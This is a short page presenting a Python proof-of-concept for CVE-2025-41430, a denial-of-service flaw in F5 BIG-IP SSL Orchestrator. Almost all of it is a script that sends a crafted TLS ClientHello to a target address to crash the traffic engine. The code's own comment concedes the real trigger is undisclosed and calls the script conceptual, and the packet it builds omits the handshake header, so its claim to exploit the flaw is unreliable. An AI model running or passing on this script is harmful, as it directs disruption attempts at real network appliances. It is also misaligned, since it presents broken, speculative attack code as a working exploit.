CVE-2025-41430 F5 BIG-IP SSL Orchestrator TMM拒绝服务漏洞

# CVE-2025-41430 PoC - F5 BIG-IP SSL Orchestrator TMM DoS # Note: The specific triggering traffic pattern is undisclosed by F5. # This is a conceptual PoC demonstrating the attack approach. import socket import ssl import struct import random def craft_malicious_ssl_traffic(target_host, target_port=443): """ Send crafted SSL/TLS traffic to BIG-IP SSL Orchestrator to trigger TMM termination (CVE-2025-41430). """ try: # Create raw socket connection sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) # Craft a malformed TLS ClientHello that may trigger the vulnerability # when processed by SSL Orchestrator's inspection engine tls_version = b'\x03\x03' # TLS 1.2 random_bytes = bytes(random.getrandbits(8) for _ in range(32)) session_id_len = b'\x00' # Build ClientHello with unusual cipher suites and extensions cipher_suites = struct.pack('>H', 0x0000) # NULL cipher cipher_suites_len = struct.pack('>H', len(cipher_suites)) # Compress methods compression = b'\x01\x00' # null compression # Extensions with potentially problematic values extensions = b'\x00\x0a\x00\x08\x00\x06\x00\x1d\x00\x17\x00\x18' extensions_len = struct.pack('>H', len(extensions)) # Assemble ClientHello client_hello_body = ( tls_version + random_bytes + session_id_len + cipher_suites_len + cipher_suites + compression + extensions_len + extensions ) # TLS record header content_type = b'\x16' # Handshake record_version = b'\x03\x01' record_length = struct.pack('>H', len(client_hello_body)) tls_record = ( content_type + record_version + record_length + client_hello_body ) sock.send(tls_record) sock.close() print(f"[*] Malicious TLS traffic sent to {target_host}:{target_port}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "192.168.1.100" # Replace with target BIG-IP IP craft_malicious_ssl_traffic(target)